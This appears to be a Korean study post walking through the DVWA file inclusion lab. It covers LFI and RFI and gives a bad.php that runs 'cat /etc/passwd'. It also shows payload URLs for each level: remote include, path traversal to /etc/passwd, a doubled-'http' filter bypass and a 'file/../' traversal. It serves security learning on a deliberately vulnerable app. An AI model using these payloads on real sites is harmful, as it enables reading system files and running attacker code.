파일 인쿠르젼 공격
지정한 파일을 PHP include()로 소스코드에 삽입
로컬파일인클루젼(LFI) - 이미 시스템에 존재하는 파일을 인클루드
리모트파일인클루젼(RFI) - 외부에 있는 파일을 원격으로 인클루드
사용법은
먼저 파일하나를 만들어보자
bad.php
<?php
print "RFI Success, hacked";
system('cat /etc/passwd');
?>
이렇게 만들어주고
문제 홈페이지를 보자
http://localhost/dvwa/vulnerabilities/fi/?page=include.php
이것인데
http://localhost/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/bad.php
이렇게 해주면 파일인클루젼 공격이 성공함을 볼 수 있다
LFI는 이미 존재하는 내부파일만 사용할 수 있어서 RFI보다는 공격성이 떨어진다
http://localhost/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd (상위 디렉토리 접근)
이렇게 상위 디렉토리로 접근해서 하는 방식을
패스 트래버설(Path Traversal) 공격이라고 한다
medium단계를 보자
http:// 나 https://로 시작하는 것들을 공백으로 바꿔버리고
../ ..\ 또한 공백으로 바꿔버린다
이 때는 http 사이에 http를 다시 붙혀준다
http://localhost/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/bad.php
http://가 입력값 검증으로 없어졌지만 지워진 나머지가 다시 http://를 구성하기 때문에 가능했다
high 단계
소스를 보니 file로 시작하지 않거나 include.php가 아니라면 에러를 발생시킨다
이것은 LFI만 가능하다
page=file/../../../../../../../etc/passwd 해주면 나온다
impossible 단계를 보면
if문으로 하나하나 include.php file1.php file2.php file3.php 가 아닐 시 에러메세지를 출력하게 한다